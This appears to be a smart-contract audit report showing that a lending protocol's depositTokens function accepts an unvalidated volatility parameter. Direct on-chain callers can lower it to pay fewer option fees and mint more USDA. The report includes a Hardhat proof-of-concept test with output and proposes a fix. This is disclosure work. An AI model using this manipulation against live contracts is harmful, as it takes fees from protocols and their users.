The Borrowing::depositTokens function takes a BorrowDepositParams  struct as input param from users that want to deposit assets and mint USDA. One important param that currently has no checks in place is BorrowDepositParams::volatility.

This param is taken by the Borrowing::depositTokens function and passed to the BorrowingLib::deposit function without any validation. Inside BorrowingLib::deposit we can see that this function passes the param further to the Options::calculateOptionPrice function without any validation.

        uint256 optionFees = interfaces.options.calculateOptionPrice(
            libParams.ethPrice,
//@audit no validation
            params.volatility,
            params.depositingAmount,
            params.strikePercent
        );

This parameter is important because it is used directly when calculating optionFees inside Options::calculateOptionPrice. This param is part of the value passed to the sqrt function, as well as part of the baseOptionPrice and optionPrice  calculations as can be seen below.

    function calculateOptionPrice(
//..
        uint256 _ethVolatility,
//..
    ) public view returns (uint256) {
//@audit _ethVolatility is used here
        uint256 a = _ethVolatility;

//..
//..
//@audit it is passed directly here without any checks and used to calculate the `baseOptionPrice`
        uint256 baseOptionPrice = ((sqrt(10 * a * ethPrice)) * PRECISION) / OPTION_PRICE_PRECISION + ((3 * PRECISION * OPTION_PRICE_PRECISION) / b); // 1e18 is used to handle division precision

//..
//..
//@audit it is then used to compute the `optionPrice` as well
        } else if (_strikePrice == StrikePrice.TWENTY_FIVE) {
            optionPrice = baseOptionPrice + (5 * OPTION_PRICE_PRECISION * baseOptionPrice) / (3 * a);
        }
//..
//..
    }

//@audit it is also part of `y` inside the `sqrt` function
    function sqrt(uint y) internal pure returns (uint z) {
//..
//..
}

This parameter will directly influence the amount of option fees that a user will pay because it is part of the baseOptionPrice calculation uint256 baseOptionPrice = ((sqrt(10 * a * ethPrice)). The a param is _ethVolatility. The lower the value of a, the lower the number passed to the sqrt function will be, and the lower the overall baseOptionPrice will be. By manipulating its value, a user is able to mint more USDA by paying fewer optionFees to the protocol.

Although the contest’s ReadMe states that ethVolatility will be part of the protocol’s off-chain infrastructure and should be trusted, my issue is not with the UI. You can think of it as two different paths. The “happy path” is that users will call Borrowing::depositTokens through the UI. In this case, the BorrowDepositParams::volatility param will be provided by the protocol’s off-chain infrastructure and should be trusted. However, there is no way to prevent users from calling the Borrowing::depositTokens functions directly on-chain. This is the second path and in this case, users are able to provide an arbitrary volatility param. This will allow them to bypass the UI and get “better deals” than what they are supposed to get by paying fewer fees to the protocol and minting more USDA.

Lack of input validation for the BorrowDepositParams::volatility parameter.

N/A

N/A

1. Direct on-chain call: A user bypasses the trusted UI and directly calls the Borrowing::depositTokens function on-chain.

2. Arbitrary ethVolatility input: The attacker supplies a lower ethVolatility value than expected.

3. Reduced optionFees: The manipulated ethVolatility leads to lower optionFees during the Options::calculateOptionPrice function.

4. Excessive USDA minting: Lower optionFees allow the user to mint more USDA for the same deposit amount, effectively obtaining “better deals” than intended and causing loss of funds for the protocol.

• Loss of funds for the protocol. The protocol receives fewer fees than expected, because ethVolatility is used directly in the math that’s behind the optionPrice computation.
• User inflates their USDA minted amount. The user gets more USDA at the expense of the protocol. Every dollar not paid in optionFees turns into an extra USDA for the user.

Put the following test inside the BorrowingTest.ts file. My test involves two users. You can read the test like this: “user1 uses the UI with ethVolatility provided by the protocol” while “user2 calls the function with arbitrary ethVolatility”. Check their depositParamArray's. User 2 will have a hardcoded ethVolatility value that is different than the one provided by the developer in the test files.

it.only("Should mint more tokens with different ethVolatility", async function () {
    const {
        BorrowingContractA,
        CDSContractA,
        usdtA,
        globalVariablesA,
        TokenA, // The USDA token
        wrsETHA, // The wrsETH token
        user1,
        user2
    } = await loadFixture(deployer);

    //mint USDT and deposit it into the CDS
    await usdtA.connect(user1).mint(user1.getAddress(), 20000000000);
    await usdtA.connect(user1).approve(CDSContractA.getAddress(), 20000000000);
    const options = Options.newOptions()
        .addExecutorLzReceiveOption(400000, 0)
        .toHex()
        .toString();

    let nativeFee = 0;
    [nativeFee] = await globalVariablesA.quote(1, 1, options, false);
    await CDSContractA.connect(user1).deposit(
        20000000000,
        0,
        true,
        20000000000,
        100000,
        {
            value: nativeFee.toString()
        }
    );

    const wrsETHpriceBefore = await BorrowingContractA.getUSDValue(
        await wrsETHA.getAddress()
    );
    console.log("wrsETH price before deposit is:", wrsETHpriceBefore);

    const user1BalanceBefore = await TokenA.balanceOf(user1.getAddress());
    console.log("User USDA balance before deposit:", user1BalanceBefore);

    const user2BalanceBefore = await TokenA.balanceOf(user2.getAddress());
    console.log("User USDA balance before deposit:", user2BalanceBefore);

    // Approve wrsETH for deposit user 1
    await wrsETHA
        .connect(user1)
        .mint(user1.getAddress(), ethers.parseEther("10")); // user2 has 10 wrsETH
    await wrsETHA
        .connect(user1)
        .approve(BorrowingContractA.getAddress(), ethers.parseEther("10"));

    // Approve wrsETH for deposit user 2
    await wrsETHA
        .connect(user2)
        .mint(user2.getAddress(), ethers.parseEther("10")); // user2 has 10 wrsETH
    await wrsETHA
        .connect(user2)
        .approve(BorrowingContractA.getAddress(), ethers.parseEther("10"));

    //set deposit params user1 with ethVolatility provided by the developer const ethVolatility = 50622665;
    const depositParamArray1 = [
        1,
        110000,
        ethVolatility,
        3,
        ethers.parseEther("10")
    ];

    //set deposit params user2 with ethVolatility set at an arbitrary value
    const depositParamArray2 = [
        1,
        110000,
        10000000,
        3,
        ethers.parseEther("10")
    ];

    // deposit tokens user1
    await BorrowingContractA.connect(user1).depositTokens(
        100000,
        await time.latest(),
        depositParamArray1,
        {
            value: BigInt(nativeFee)
        }
    );

    // deposit tokens user2
    await BorrowingContractA.connect(user2).depositTokens(
        100000,
        await time.latest(),
        depositParamArray2,
        {
            value: BigInt(nativeFee)
        }
    );

    // Check how many USDA minted after deposit
    let user1BalanceAfter = await TokenA.balanceOf(user1.getAddress());
    console.log("User1 USDA balance after deposit:", user1BalanceAfter);

    let user2BalanceAfter = await TokenA.balanceOf(user2.getAddress());
    console.log("User2 USDA balance after deposit:", user2BalanceAfter);

    const user1MintedDecimals = Number(user1BalanceAfter) / 1e6;
    console.log(
        "User1 net minted USDA for depositing 10 wrsETH:",
        user1MintedDecimals
    );

    const user2MintedDecimals = Number(user2BalanceAfter) / 1e6;
    console.log(
        "User2 net minted USDA for depositing 10 wrsETH:",
        user2MintedDecimals
    );
});

Test output

wrsETH price before deposit is: Result(2) [ 1030328449196685448n, 326676n ]
User USDA balance before deposit: 0n
User USDA balance before deposit: 0n
User1 USDA balance after deposit: 7444310267n
User2 USDA balance after deposit: 7765739810n
User1 net minted USDA for depositing 10 wrsETH: 7444.310267
User2 net minted USDA for depositing 10 wrsETH: 7765.73981
  ✔ Should mint more tokens with different ethVolatility (28032ms)

  1 passing (28s)

As can be seen above, both users deposited 10 wrsETH. User1 got 7444 USDA, while User2 got 7765 USDA. The difference may not seem “that big” because there is another bug in the code that returns such low amounts, but this is out of the scope of this report. If the code would be fixed, the difference would be even bigger.

I’ll try to quickly explain what I mean by that We just deposited 32660 into the protocol but received below 8000 USDA in both cases. Normally, the protocol is supposed to return a LTV of 80%. Considering that in my PoC, ethPrice was $3266 and we deposited 10ether, normally we were supposed to get $26128 (80% out of 32660) minus some optionFees. In order to get a better picture of the actual impact while maintaining simplicity, let’s assume that the code is fixed and users will actually get 80% LTV minus some optionFees. Multiply the test results by 3 to get a more accurate figure of the actual impact (still not 100% accurate, but a lot closer to reality).

That would looks like this:

• 22332 `USDA` minted for user1, which used the protocol's UI with expected `ethVolatility`. In this case the protocol received 3796 optionFees (26128 - 22332).
• 23295 `USDA` minted for user2, which used a lower arbitrary value for `ethVolatility` and called the contract directly on-chain. In this case, the protocol received 2833 optionFees (26128 - 23295).

The 2nd user paid $963 less in optionFees and minted 963 more USDA. That’s a ~3% loss for the protocol in optionFees that turned into USDA gains for user2.

Add checks for the ethVolatility parameter on the deposit flow. The most straightforward approach that I can think of is to add a new storage variable in the Borrowing contract (say ethVol), create a setter function with onlyAdmin/onlyOwner modifier that allows the admin to set the value of ethVol to whatever value matches the expected value from the UI, and then add a check inside Borrowing::depositTokens function and make sure that the input param volatility matches the expected ethVol.